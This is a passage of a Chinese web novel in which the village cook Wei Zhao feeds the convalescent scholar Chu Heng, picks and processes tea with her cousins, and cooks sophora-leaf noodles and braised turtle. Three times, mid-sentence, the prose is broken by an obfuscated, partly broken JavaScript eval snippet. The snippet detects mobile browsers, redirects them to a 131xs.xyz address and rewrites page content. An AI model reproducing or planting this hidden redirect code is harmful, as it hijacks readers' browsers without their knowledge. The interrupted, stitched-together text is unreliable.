等大米开花浓稠,这山药萝卜排骨粥便做好了,排骨香配着粥香,闻着便让人胃口大开。 三斤蹲在一旁看着,视线转也不转,嘴角的哈喇子都快流出来了。 卫昭看了看天色,将粥打包出一大碗来放进食盒,跟樊桂花说了一声,便带着三斤去了楚恒家送饭。 到了那,她也没进门,只在门口将食盒递了过去,“我炖了些山药萝卜排骨粥,你趁热喝,吃了饭再吃药。” 见人接过去了,她便不再逗留。 楚恒一时把不准她还有没有再生气。 他刚刚在家中枯坐半晌,觉得就自己那没良心的模样,卫昭生气也是应该的。 他遇事只知道逃避,不耻自己的心思,却无意间伤了卫昭的心。 卫昭将他视为朋友兄长,念在两家情分对他颇为照顾,可他那动不动便退缩的性子,于她而言,只会让她生出一片真心错付的气恼。 看着卫昭离去的背影,他心中升起几分茫然无措,他想让卫昭昭消气,却不知道该怎么做。 心中存着事,他本有些没有胃口,结果一打开食盒便闻到一股极为浓郁的香气,勾得他下意识拿起勺子,迫不及待品尝起来。 萝卜吸收了排骨中的油脂,中和了自身本有的青涩,让这排骨粥只香不腻,山药补益脾胃。这粥不仅养生,味道更是难得的佳品。 楚恒默默将一大碗粥都喝完了。 翌日清晨,院门被敲响,楚恒眨了眨尚未清醒的双眸,听清外面确实有敲门声,他赶忙起身去开门。 结果来人不是他以为的卫昭。 来人三十许岁上下,风尘仆仆,见到楚恒,他抱拳行了一礼:“敢问阁下可是楚恒公子?” 楚恒颔首:“我是。” 那人便笑:“那看来我没找错地方。” 他转身从身后的马背上卸下来不少东西,“这些都是京中谢怀钰谢公子托我给您带过来的。” 距离给京中送信已经过了十余天,算算日子,若是快马加鞭,那边寄的东西确实也该到了。 想到自己在信中提过的东西,楚恒眼睛微微一亮。 谢过来人,楚恒将东西拿进院里拆开,里面有他的一些日常用品,一些比较珍贵的的药材和食材,几本书,还有一封信。 信是谢怀钰写的。 他不辞而别,一副回到上溪村了却残生的模样,本以为自己会被骂,结果素日脾气火爆的谢怀钰却一改往常,信中多是关心想念之语。 楚恒哑然失笑,也不知这人求了谢逸然多久才从她那儿学了这些话。 “……两本食谱是我搜罗的孤本,一本是我走街窜巷从一些食肆小贩那跟人用东西换来的特色招牌。放心,我这次没跟人闹事。 “上次你送来的腌笋极好吃,谢逸然吃独食不肯分我,下次我要单独的一罐子。干笋交给厨房做了许多菜,其中一道笋干鸭羹极得娘亲和逸然喜爱,下次再有这般好的食物记得送过来,我已和你们县内的民信局谈好了生意,你的信物以后着专人快马加鞭相送。 “……望善自珍重,不日归家。” 24. 山间采茶 卫昭正在家中沿着那个小菜园子的地边种薄荷。 薄荷是她晨起去山上采的,连根一起采回来,种上便能活。 她每年都会种一次,方便她随时取用。 种完后,她把提前摘好的薄荷叶洗了洗,放在一旁控干,准备一会儿做个薄荷叶煎蛋。 风寒之人多少都有些咽痛之症,薄荷叶可清利咽喉、疏肝解郁。 她刚把粥熬上,院子里便传来了动静。卫昭探身一瞧,没想到这一大早楚恒就来了,正和樊桂花说着话。 “楚恒哥。”卫昭叫了一声,又往灶膛里添了把柴火才出去。 她的视线落在楚恒手里的包裹上,不由得好奇:“这是什么?” 楚恒不敢错过她面上的一丝表情,卫昭今日待他的态度一如往常,楚恒蓦地放下了心。 她不生气了。 卫昭确实不生气了,她这人心大的很,一些小事睡一觉起来就全过去了。 见卫昭好奇,楚恒把包裹打开,说道:“是我舅舅给我寄来的一些东西,有些京城特有的干货和糕点,我拿来给你们送一些尝尝。” “舅舅?”樊桂花疑惑。 楚恒便道:“是我舅父,我娘的同胞兄长。” 樊桂花更是惊讶,楚恒的娘竟然还有亲人。 卫昭看了看她奶奶,倒是有几分理解樊桂花的震惊。 她以前听人说起过楚恒的娘亲,据说那是一个很神秘的女子。 她不知为何落难,是楚恒的爹楚云啸从外面背回来的,治好后记忆尽失,只记得自己的名字。 为了二人名声着想,后来楚云啸给她在村子租了个空置的院子,谢令娴很多事情都不懂,都是楚云啸一点一点地教她,他教不了的,多是找樊桂花帮忙。相处之中二人互生情意,最终结为夫妻。 只是她的身世一直是个谜团,村里许多人都说她大概是没了亲人,不然春林镇和上溪村都算不上偏僻,怎么就没有人来寻呢。 没想到,谢令娴竟然还有个兄长。 “舅舅自己也出了些事,他是在我爹娘出事时才找到的我娘,我这些年一直都在舅舅家。” 樊桂花闻言,心中只觉得造化弄人。 俩孩子明显有话要说,她没多呆,找了个理由回屋。 楚恒把单独包起来的三本食谱递给卫昭,“这是我托人寻来的一些杂记和食谱,你看看能不能用得到。” 大煜朝没有女子不能出门读书的规定,朝中亦有女官,卫昭幼时也曾在小学堂读书习字,基本的识字并不差。 她接过书好奇地翻了几页,顿时眼睛一亮。 爹娘是村厨,会的也多是家常宴,卫昭厨艺再好,但所学有限,对多数其他地方的特色风味更是不了解,书里的许多烹饪之法她并未学过,如今一看,眼界大开。 见她这副模样,楚恒内心暗自松了口气。 虽然送之前就预感卫昭会喜欢,但到底没有结果,心中仍有几分忐忑。 食谱也是一种传承,最初的兴奋劲儿过了,卫昭不由得有些担心:“拿到这些食谱应当要花费不少代价吧?” 楚恒道:“两本杂记是作者写出来供人观看鉴赏的,并非敝帚自珍之物,于书店便可买到,只是春林镇没有而已。另一本食谱是我兄长跟京中那些来自天南地北的食肆摊贩换来的,你不去京中做生意,他们自然乐意出售几道并非独家的特色方子,也动不了他们的根基。更别说,其中还有我舅舅家中雇佣的大厨口述的几道。这些只需多花费些银钱便能做到。” 楚恒说是这般说,可卫昭心里明白,她就算有这个钱,也没人会乐意卖她食谱方子。 这人情有些大,卫昭便说要给楚恒打个欠条。 楚恒心中一时涩然:“你我之间不必如此,这些都是我自愿做的。” 他原本初明心意之时还想同卫昭保持距离,可如今卫昭一副要与他划清界限的模样,他倒是先受不住了。 见卫昭坚持,楚恒道:“以前我每年只是吃药便要花出去上百两银钱,更不提为了我的身子专门采买的滋补佳品,这些钱算起来比买这些方子要多上几番。 “自回到上溪村,我身子病弱,若非有你,我这两月绝不会过得这般舒坦。只是这些菜谱方子,并不足以和你与花奶奶照顾我时耗费的心力相比。 “你若坚持要算这么清楚,我以后也没什么脸面再来吃你做的饭了。” 卫昭没想到自己无意的一个举动竟然会让楚恒想这么多,他都这么说了,卫昭只好打消了“打欠条”的念头。 她笑道:“那你以后的饭食都归我安排了。” 生怕她又要提钱,楚恒立马应了下来。 大米粥的米香味渐渐从灶房里传出来,卫昭将书收好,让楚恒去屋里坐着,便准备继续去做饭。 楚恒默默跟在她身后。 见卫昭看过来,他道:“我给你烧火。” 他一个男人,哪能真的什么都不干。 卫昭没拒绝,这么时日接触下来,她发现这人可能不适合一个人呆着,不然总得来个“郁结于心”。 入夏之后事多得很,她就不信这人还能抑郁。 米已经开始开花了,卫昭将箅子坐在锅里,把前日包的笋丝馒头馏上。 叮嘱好楚恒要小火,卫昭便又去摸了几个鸡蛋。 老母鸡确实不怎么下蛋了,家里还有一只养了许久的甲鱼,卫昭准备有空把这俩一起炖了。 她手上利落地敲了好几个鸡蛋,在碗里打散,接着把控好了水的薄荷叶撒进去,让每一片薄荷叶都裹上蛋液,最后再撒上些盐。 等楚恒将锅烧热,她将鸡蛋热油下锅,两面煎至金黄便是熟了。 空气中飘散着鸡蛋的焦香,中间还夹杂着薄荷的香气。 再切上一小碟咸菜丝,这早食便成了。 锅盖一掀开,热气便蒸腾而起,卫昭手上麻溜儿地捡着包子,将装包子的笸箩递给楚恒,示意他拿去屋里,她紧接着又拿碗舀了三碗粥。 早饭端上桌,三人不约而同地冲着那道薄荷叶煎蛋下筷。 煎蛋是在出锅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15912397|176659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后才切块装盘,卫昭切的大小均匀,只是看着盘中翠绿与明黄交织的颜色,便已是胃口大开。 初入口,边缘泛着微微的焦香,蛋身却十分柔嫩,咀嚼间,薄荷的清冽从鸡蛋的香味中钻出来,扫去了鸡蛋的厚重和油润感,只留下满口的通透,层次感极为分明。 吃一口煎蛋,再搭配一口泛着浓浓米香的白粥,那滋味,让人忍不住眯起眼睛。 楚恒下筷子的速度不由得加快了几分。 他原本嗓子还有些不舒服,吃了薄荷叶煎蛋,那股时隐时现的痒意没了大半,风寒后有些晕沉的头脑都清明了几分。 笋丝包子虽然不是现做的,但笋丝依旧鲜脆,混着面皮的麦香在唇齿之间炸开,一口下去,满口鲜活。 三人将这些早饭吃的干干净净。 楚恒还未喝药,帮忙收拾好,便回了家中煮药。 他送来的干货卫昭都收下了,还叮嘱他午时直接来家中吃饭。 这般养着,不过几日楚恒的风寒便已大好,卫昭觉得应当是可以给他安排一些活来做了。 茶树如今长得正好,那便一起去采茶吧。 采茶不在雀儿山,是雀儿山旁的一个小山坡,被划入了村子的范围。 这地方土质不算最佳,粮食收成少不说,运输还不方便,最后换来换去,最终种起了茶树。 他们这里以绿茶和白茶为主,不是什么好茶,但多少也能卖些钱。 采茶要一早便去,起得比平时还要更早些,此时大多数人都没什么胃口,卫昭将早饭装进背篓,准备干会儿活后再吃。 卫家几兄妹都跟着来了。 卫吉祥家也有茶园,卫福安家早年搬去县城,家中的茶园早就不种了,回村几天,该逛的都逛过了,实在闲得无聊,她宁愿早起也要跟着出来转转。 到了地方,卫昭先给楚恒递了一个可以系在腰间的小竹篓。 这是二爷爷做的,他们每人都有一个。 春末夏初的清晨依旧还泛着冷意,此时雾气未散,茶园影影绰绰,恍如仙境。远处的雀儿山上一片翠绿,呼吸之间满是草木清新之气,令人心旷神怡。 楚恒看着,脑海中突然蹦出了曾读过的圣贤书,望峰息心,窥谷忘反,不外如是。 “楚恒,过来干活了。” 被一句话喊回烟火人间,楚恒应了一声,默默上前跟着学怎么采茶。 采茶要讲究技巧,常用“提手采”,拇指和食指夹住芽叶的根部,轻轻向上提,使芽叶完整脱落,不能直接用指甲掐断。 他们这种的多是大宗茶,一般采一芽三叶或一芽四叶。 采好的茶叶顺手放进腰间的小竹篓里,不能挤压,等小竹篓装满了,便运到地头,倒进铺了麻布做底的大竹筐中,方便运送回家。 雾气散尽,太阳高升,忙碌了半天早就饥肠辘辘的几人找了个树荫下坐着,把各自带的吃食都拿了出来。 卫昭一早烙的胡饼,金黄的饼子上洒满了芝麻,麦香混着葱油的香味勾的几个年轻人纷纷咽了下口水。 25. 槐叶冷淘 第25章 卫福安拿过自己的那份咬了一口,叹了口气:“不如刚出炉时酥脆了。” 她一早就跑去卫昭家里,趁着刚出炉时吃了一个,那一口咬下去,酥脆掉渣,刚出炉时的热气更是放大了胡饼的麦香、芝麻香和葱油香,要不是该走了,她能连吃三个! 其他人吃着觉得还好,虽然不够酥脆,但胡饼也有了些韧劲儿,味道在嘴里越嚼越香,就连楚恒带来的稀罕糕点在还散着热气的胡饼面前都没了吸引力。 吃过饭,几人歇息一会儿,又开始马不停蹄地去采茶,等日头渐高,太阳越来越晒,六人这才归家,采好的茶带回家需要铺平晾晒。 各家的茶园并不大,忙碌个两天便采完了,几个闲不住的又趁着天气晴朗进了山。 这次他们也是带着任务来的。 卫昭要做花茶,几人一人挎了一个小篮子,小心翼翼地采花。 卫昭和卫福安两个小姑娘挎着花篮,耳边别着刚摘下来的野蔷薇,像是两个来山中踏青的小姐妹。 剩下四个小伙子长得不是高高瘦瘦就是高高壮壮,提着个与身上气质不符的花篮。 卫福安一路上都在趁卫家三兄弟不注意往他们的头上插花,在三人那里轮番讨打,乐此不疲。 卫昭觉得不能冷落小伙伴,卫福安和楚恒不熟,想了想,她摘了朵野蔷薇花趁楚恒蹲下剪花枝的时候插到了他的束发上。 楚恒愣了一下,抬头看见笑得一脸得意明媚的卫昭,他无奈一笑,但也没有摘下来,而是继续去摘花。 卫昭呆了一下,这反应倒跟她想的不一样。不过,这读书人簪上花看起来是比卫吉祥几个糙人好看。 那边几人见了,卫福安瞬间理直气壮:“大男人怎么不能戴了,你看看人家楚恒就戴着呢。” 卫吉祥撇嘴:“反正我不戴。” 卫昭眼睛一转,咳了咳嗓子,看着对着满山的花发出感慨:“这花可真好看啊,不知道做成花环会不会比桃花做的还要好看。” 卫吉祥:“……” 真是一群祖宗! 不过这些花五颜六色的确实好看,卫吉祥默默将要掐花朵的手移到了花枝上。 路上遇到几棵槐树,卫昭看着那些甘刚刚有点雏形的槐花,脑子里瞬间蹦出了槐花饼的样子,想到楚恒送她的书里还有槐花蜜的做法,卫昭摩拳擦掌,准备过几日来摘槐花,大干一场。 至于现在,她隔空挑了几个看起来比较嫩的树枝,让卫吉祥他们爬上去帮她摘下来。 卫福安一听她要槐叶,瞬间福至心灵:“昭昭姐,你是不是要做槐叶冷淘?” 见卫昭点头,想到槐叶淘那绿油油的模样,卫福安咽下分泌的口水,推着卫吉祥三人去爬树,“多摘一点,咱家人多。” 卫福平这个亲哥看不过去,“你能不能有点出息?” 卫福安:“我都多久没吃过昭昭做的饭了,馋点儿怎么了?” 槐叶冷淘是入夏时的经典吃食,自宫廷传入民间,每年天气一热,许多人都想念这一碗凉凉的消暑食物。 楚恒以前也吃过,不过自他身子不好之后,舅舅一家对他的饮食格外小心,他已许久未见过槐叶冷淘。 见花也采的差不多了,摘好槐叶,又摘了几株开得尚可的槐花,几人便下了山,一齐聚到了卫昭家。 槐叶需要加盐洗干净,然后用木舂捣碎成汁,卫昭把这活儿交给了其他人,又让人去小菜园里摘点想吃的配菜,等东西都弄好了,她这才取了足够的面粉来和面。 年轻人大多比较能吃,家里又多是大小伙子,这面一和就是大半盆。 和面用的是槐叶汁,随着面团逐渐成型,那抹绿色也越来越亮眼,看着便觉得身心凉爽。 将和好的面团放在一旁盖上湿布醒着,卫昭转而去切配菜,菜刀与案板碰撞出快速而规律的“嘟嘟”声,这富有节奏感的声音一下便将人拉入了这热热闹闹的烟火日常。 等将浇头做好,卫昭将面揉匀、擀开,折叠后切成手指粗的长条,面条根根翠绿,下水煮透后更显碧绿,像是盛出了一碗夏日的荷塘。 煮好的面条要过刚从井中打出的凉水,将之彻底变凉,这便是冷淘。 井水清冽甘甜,冬暖夏凉,夏日的井水是上溪村人家的天然冷库。 过了井水的槐叶冷淘更劲道,也更显清凉。 院中的石榴树撑起了院内的夏日繁荫,卫吉祥他们将家中的方桌搬到树荫下,今日的午饭就在这儿吃了。 槐叶冷淘装在木盆里放在桌上,各自吃多少盛多少,肉沫浇头、韭菜鸡蛋浇头同料汁喝蒜末一起摆在桌子中间,谁爱吃什么便加什么。 等卫昭先给樊桂花和她自己盛好,剩下几人立刻便坐不住了,自小一起养出来的抢饭习惯,长大了也改不了,生怕旁人比自己多吃了一口去。 卫昭一把拿过楚恒的碗筷,趁那几人在计较谁多夹了一筷子时,赶紧给他装了一碗。 她凑近楚恒,说道:“平日里若是我们五个人凑一起吃饭,都是要靠抢的,谁抢的多便吃的多。” 她奶奶就爱看他们热热闹闹的样子,也不会约束他们,是以,每次他们兄弟姐妹凑一起吃顿饭,都跟要打仗一样。 楚恒想到了谢怀钰和谢逸然,突然就理解了。只是那两人多少顾及他的身子,不敢抢他的饭。刚刚要不是卫昭,他估计就能吃点儿碗底了。 吃着卫昭专门给他抢出来的槐叶淘,楚恒在槐叶的微苦之中品出了一丝甘甜。 卫家兄妹终于分好了面,又纷纷朝着肉臊子探下勺子,瓷勺探底而出,盛满了肉丁、笋丁和香菇丁。 伴着槐叶冷淘入口,冷淘的微苦清凉与臊子的咸鲜微麻互相碰撞,每一口都惊艳无比。 卫福安享受地眯起了眼睛,赞道:“太好吃了,昭昭姐你太厉害了!” 天知道入夏之后来上这么一碗槐叶冷淘有多么幸福! 卫昭就喜欢听别人夸她,“灶房里还有湃着的冷面,吃完了再去盛。” 卫福安眼睛一亮, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15918604|176659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手中的动作不由得加快几分,恨不得现在就去再盛一碗。 碗中肉臊子下得快,韭菜鸡蛋便跟着续上,刚摘的韭菜配上今早刚收的鸡蛋,又是格外的鲜嫩。 最后几人纷纷吃了个肚皮溜儿圆,帮着将灶房收拾好,坐在石榴树荫下躲懒。 太阳照的人昏昏欲睡,卫昭想,她是时候该把家里的小竹床收拾出来了,想想以前躺在竹床上,吹着夏日的晚风,听着林荫间的各种虫鸣入眠的日子,卫昭不由得有些恍惚,时间过得真快,眨眼间,又是一年夏至。 迷迷糊糊在树下打了个盹儿,等醒过来,躺的歪七扭八的六人不是腰痛就是脖子酸。 楚恒揉着脖子,听着骨头咔哒的脆响,一时竟有些分不清今夕是何年。 他眯着眼打量着树叶缝隙间的光晕,一切的喧嚣远去,他想,若能一辈子生活在上溪村里应当也不错。 要是…… “都起来了,去炒茶!” 卫昭的声音里透着十足的干劲儿。 把卫吉祥拉起来给自己把炉灶安好,卫昭跑去厨房把自家的两个大铁锅收拾了出来。 将院中晾晒的茶叶搬到一旁备用,卫昭开始给每个人安排活计。 他们这制茶主要有炒青、揉捻、干燥这三步。 新鲜的茶叶经过摊开晾晒,去除了部分青草气,增加了韧性;再用铁锅进行高温翻炒,保持茶叶的色泽,锁住清香;炒好的茶叶需要人工进行揉捻,让茶叶中的汁水渗出,这样可以让茶叶在冲泡时更快速地散发茶香,同时给茶叶塑性;最后的干燥依旧是用铁锅炒,炒干茶叶的水分,固定茶叶的形状,激发茶叶的香气。 这其中的每一步都需要耐心和时间。 几人做着做着便烦了,那就互相把手里的活一换,继续干,这个再干烦了,那就再换一个。 楚恒倒是耐得下性子,不过其他人要换,他也便换了去做别的,第一次制茶,他心中满是稀奇,倒也不觉得累,就是坐久了腰酸。 几人从晌午做到了太阳落山才结束,每个人的手都花花绿绿,无一幸免。 做好的绿茶可以保存起来直接泡水饮用,卫昭留了一部分用来做窨制花茶的茶胚。 蔷薇、百合、茉莉、栀子花、金银花、橘花,橘花得读书人偏爱,雀儿山上长的橘树结的果子不好吃,但橘花用来做花茶却独具一番风味。 早上漫山遍野摘的鲜花早就挑选好了,卫昭按照一层花朵一层茶的步骤将鲜花与茶叶在窨花槽里摆放好,等茶叶吸收了一夜鲜花的香气,花朵开始枯萎,再将花朵与茶叶分离,分离后的茶叶同样需要干燥固香,卫昭将新摘的花瓣混着窨好的茶叶一起烘干,这茶总算是做好了。 绿茶微苦回甘,花茶于茶香之中散发着花朵的香气,一口下去,唇齿留香。 院中的石榴树下,六位少年围坐着方桌,互相举着茶盏,说着自己最喜欢的口味。 许是见不得别人不认同自己的口味,那声音逐渐放大,又逐渐消散在上溪村的晴空之下。 26. 黄焖甲鱼 一候蝼蝈鸣,二候蚯蚓出,三候王瓜生。 这是立夏三候。 伴着田间地头蛙声阵阵,农家的孩子闲来无事,最乐意做的便是到处翻蚯蚓,找到了便拿回家喂鸡鸭,或者找根绳子挂在杆上,拿去水面钓鱼虾,比比谁钓的多。 卫吉祥和卫福安就喜欢欺负小孩,也跟着加入了河边的垂钓队伍。 卫福平和卫长禄夫妻回了平川县城,把卫福安留在了家里。 卫长福和卫长禄早年没有分家,家中一直有他们的房子,卫福安留在家里就和卫长福一家住在一起。 想到樊桂花曾说的话,卫昭心中有些担心,卫福安平日里性子极为活泼,也不知到底发生了什么事情。 一想到自己的小姐妹在她不知道的时候出了事,卫昭就是一阵心疼,决定给她做顿好吃的。 这样想着,她蚯蚓也不继续挖了,扬声喊河边钓鱼的几人回家。 楚恒慢悠悠收着手上的简易鱼竿,旁边的木盆里装了五六条有成人巴掌大的小鱼。 他如今还挺有成就感,觉得这些多少也能做一盘菜了。 另一边卫吉祥和卫福安因为和孩子们打闹,两个人就钓了两条小鱼,还没平日里赤脚进河里用手抓的多。 小孩子们可不会顾及大人的面子,嘚瑟地显摆着自己抓的比二人多的鱼。 卫吉祥故意黑脸,吓唬他们,小孩子一窝蜂便跑远了,边跑边喊:“吉祥叔,你输不起!” 卫吉祥笑骂:“赶紧回家吃饭吧,不然你们娘又该来揪你们耳朵了。” 卫昭收拾好自己挖的蚯蚓,准备拿回家喂鸡鸭,等几人上来了,一行人便沿着河堤往家里走。 树荫繁茂,虫鸣阵阵,微风一吹,这段路程便格外惬意。 卫昭让他们跟她一起回家,“家里有只老母鸡不下蛋了,还有一只养了许久的甲鱼,我准备做一道黄焖甲鱼。” 这道菜不仅好吃,还格外滋补。 卫福安很给面子的“哇”了一声,“昭昭,你也太好了,以后谁娶了你可真是烧了几辈子高香。” 走在二人后面的楚恒抬头看了一眼,她背对着他,他看不清她脸上是否有女子对未来夫婿的期待。 收回视线,他心中自嘲一笑,有没有的又如何呢,总归不会是他,也不能是他。如今能这般相处下去,已经是他的奢求了。 河堤上偶尔也有一棵老槐树,看见槐花开的正盛,卫吉祥和卫吉勇爬上去摘了不少,准备回家做个槐花饼。 路过余天光家,看见他院子后面的一排果树坠了不少果子,几人一时不由得都有些馋。 卫福安站在堤上冲着院子喊了一声,余天光从药材房里探出半个身子,“哟,你们几个这是干嘛去了?” 卫福安举起盆里那条半死不活的鱼:“刚刚去东边钓鱼去了,余爷爷,你家樱桃什么时候能熟?” “再等个一旬差不多了。”余天光心中有数,这几天可没少被村里的孩子问这个问题。 卫福安便道:“那你记得给我留点,我们要的多。” 不提前说好,这果子就被村里那群对吃的格外灵敏的小孩子瓜分干净了。 余爷爷应了一声,“哪年没给你这个馋丫头留过。” 说说笑笑一阵儿,几人总算回了家。 黄焖甲鱼需要用到大骨原汤,几人拐了个弯去了卫三河家,买了几根大骨头,楚恒掏的钱,因为他说他要给三斤带点上门礼物。 果然他一进门,闻到狗骨头的味道,三斤飞奔过来,围着他转圈,那热情劲儿,真是让人没眼看。 楚恒稀罕地揉了揉三斤的大脑袋。 老母鸡交给卫吉祥和卫吉勇来杀。 卫昭负责处理甲鱼。活甲鱼仰躺在案板上,等它露出脖子想翻身时,一把将颈部掐住,将头颈一刀剁下。 卫福安“嘶”了一声,手捂着眼睛,偏偏还给自己留了几道缝。 卫昭笑她:“没出息。” 卫福安摇了摇头:“我这还算好的,在平川县城时,我与几个朋友出门,她们看到猪肉摊子都要绕道走。” 县城长大的姑娘跟她们可不一样,卫福安刚跟着爹娘一起去平川县城时,总被人说是个乡下来的小土妞,也就是她心态好,碰到骂自己的打一顿就好了,她可不会放在心上。 呆了几年下来,也算是有几个可以一起出门玩乐的小姐妹。 “不过谁都比不上我们家昭昭!”卫福安一通甜言蜜语,哄得卫昭眉开眼笑。 但她手上处理甲鱼的动作依旧利落的很,半点不受影响。 甲鱼皮需要用开水烫,烫过后极好去除,随后几刀下去,那一只大甲鱼便被大卸八块,挑挑拣拣,留下了能吃的地方。 楚恒一进灶房便自觉坐到了烧火的位子,如今他烧火已经可以算上半个行家了,在自己家里烧火也不会再整出个“狼烟四起”。 听到她们姐妹俩的话,他心中默默点头,卫昭是最独一无二的。 等所有的食材备好,骨汤也炖出来了,卫昭将甲鱼和老母鸡分别下锅焯水,洗干净后,再放入锅中,加入大骨原汤,放葱段和姜片,再加点黄酒去腥,等骨头用旺火烧沸后,再转成小火煨至酥烂。 煨制的时间比较长,卫昭便开始着手准备其他的菜。 槐花需要摘除茎叶,只余花瓣,盐水泡过洗净后,卫昭将槐花拌上面粉,面粉薄薄一层裹住花瓣,然后放到蒸屉上蒸熟。 随着蒸槐花饭渐入成熟,槐花的香气也越来越浓,等面粉全部呈透明状,这一屉的蒸槐花饭才算是熟了。 蒸好的槐花饭需要用调料拌着吃,卫昭把木舂交给卫福安,让她做些蒜泥。 而她自己则又将剩下的槐花裹上稀一些的面糊,面糊里再打上两个鸡蛋,撒上盐和胡椒粉,搅匀后,等锅一热,便可在油锅里烙至两面金黄。 面糊要想成型,不能稀也不能稠,盆里的面糊好似依着卫昭随意折腾一般,一勺入铛,便成了一个十分规整的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15923338|176659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 圆。 盛入盘中,各个大小均匀,色泽诱人不说,那槐花味道也十分勾人。 锅中炖的母鸡甲鱼也散发出了香味,住在隔壁的卫丰宝受了这么久的香气折磨,终于在卫昭掀开锅盖的时候忍不住了,抱着自己的碗蹲在门口眼巴巴地望着这边,边看边吃。 卫吉祥问他:“怎么这么吃饭?不怕你娘打你啊?” 卫丰宝咽了下口水,扒了一口饭:“我娘做的饭还行,但昭昭姑姑做的太香了,我得就着这股香味才吃得下。” 卫吉祥笑得不行,给了他一块槐花饼,黄焖甲鱼还需要重新换锅做最后一道工序,现在还给不了他。 小孩子倒是有些不好意思了,不过看着槐花饼实在经不住诱惑,一口咬了下去。 槐花饼表皮酥脆,内里软糯,刚一咬下去还能听到“咔嚓”一声,,槐花的清香中和了饼的油腻,真是越嚼越香。 卫丰宝一口下去,吃得摇头晃脑,眼睛都眯了起来。 梨花见自己不过进灶房盛个饭的功夫,自家这皮猴子就去隔壁蹭吃,当即就是气不打一处来。 “卫丰宝!” 门口蹲着的卫丰宝蹭的一下站起来,抱着碗就往回跑,嘴里忙不迭喊道:“娘,昭昭姑姑做了好吃的槐花饼,我专门给你留了一半。” 这小怂包的狗腿样儿,顿时让卫吉祥几人笑得肚子都疼了。 随着“滋啦”一声油锅声响声,卫吉祥和卫吉勇十分自觉地去堂屋把方桌搬出来,摆好了桌椅板凳。 卫昭将葱姜和花椒下入油锅爆炒出香味后,便将煨煮甲鱼和母鸡的原汤倒入,再加盐、酱油、黄酒等调料调个味,最后放入甲鱼和鸡肉,用中火焖烧,待汤汁收至浓稠,淋上芝麻油出锅。 那油亮的琥珀色光泽,在太阳底下更加显得诱人,就连汤汁都显得像是上好的琥珀膏。 一桌的人迫不及待朝着黄焖甲鱼下筷,甫一入口,酱汁的咸鲜便在唇齿之间散开,不管是鸡肉还是甲鱼肉,都被炖煮的格外嫩滑,极其鲜美,不含一丝腥气,咀嚼间满是鲜香醇厚,让人哪怕是一滴汤汁都不想浪费。 几人吃得头也不抬,被香到极致,也舍不得开口,只“唔唔”几声,配上那享受的表情,就知道这道菜真是极好吃了。 卫吉勇连吃了几筷子肉后,便直接拿了黄焖甲鱼的汤汁拌了蒸槐花饭,那幽幽的槐花香配上酱香醇厚的汤汁,竟意外的和谐融洽。 卫福安不喜欢这么吃,她更喜欢清淡一些的蒸槐花饭,便只用了卫昭调好的酱汁配上一些蒜泥调味。那如同撒了碎玉的蒸槐花饭透着朴实的田园气息,一入口,就像是将这春夏之交都嚼了进去,只觉得神清气爽。 楚恒更偏爱槐花饼多一些,刚刚在灶台前他便被那热锅热油激出来的清甜香,勾起了几分馋意。 槐花的香味没有蒸槐花饭那么浓,却恰到好处地中和了煎饼的那点油腻感,使得那股清甜更为突出。 一口下去,酥、软、香、甜,层次分明。 27. 福安心事 卫长福和卫长禄两兄弟,一个性子沉稳,一个擅长钻营。二人一个留在上溪村里当上了村长,一个一步步从上溪村走到春林镇,又走到了平川县城,当了一个布坊的掌柜,带着妻子儿女在县城定居。 掌柜的银钱不算多,但尚够养家,加上妻子后面找路子做了织工,说起来这日子应当是比较好的。 可其实,家中租着一个小房子,供着儿子读书上学堂,供着女儿学手艺,县城里吃喝拉撒都要钱,这般一算,一家子的日子其实过得也不算松快。 随着卫福安年纪渐大,人也长开了,加上她本身性子活泼爱笑,更招人稀罕。 同街有户人家,家中一独子与她年纪相仿,在书院读书,成绩也不差,是夫子口中,下场必中秀才的料子。 因缘际会,二人有了交集,对方少年慕艾,也到了娶妻的年纪,在父母商量给他相看订婚时,他说他要娶卫福安。 “他爹娘不同意吗?”卫昭透着窗户看着窗外被明月照的波光粼粼的院子,耳边是卫福安压低的讲话声。 姐妹俩自小也有睡在一处过,今日卫福安提出她要在卫昭家住下,卫昭心中便有几分明了,她应当是决定跟自己说一些事情了。 卫福安点点头,“嗯”了一声。 说起这个她就来气,“他们不同意就不同意呗,我又不是非看上他家儿子不可,结果他们竟然趁我爹娘下工回家时找上了门来,当着我爹娘的面就说让我爹娘管好自己的女儿,他们儿子是要考秀才的,以后还要考举人老爷,要当官,不可能娶一个乡下来的小丫头。” 卫昭捏紧了拳头,蹭一下坐了起来,偏头看卫福安:“他们怎么能这么说!” 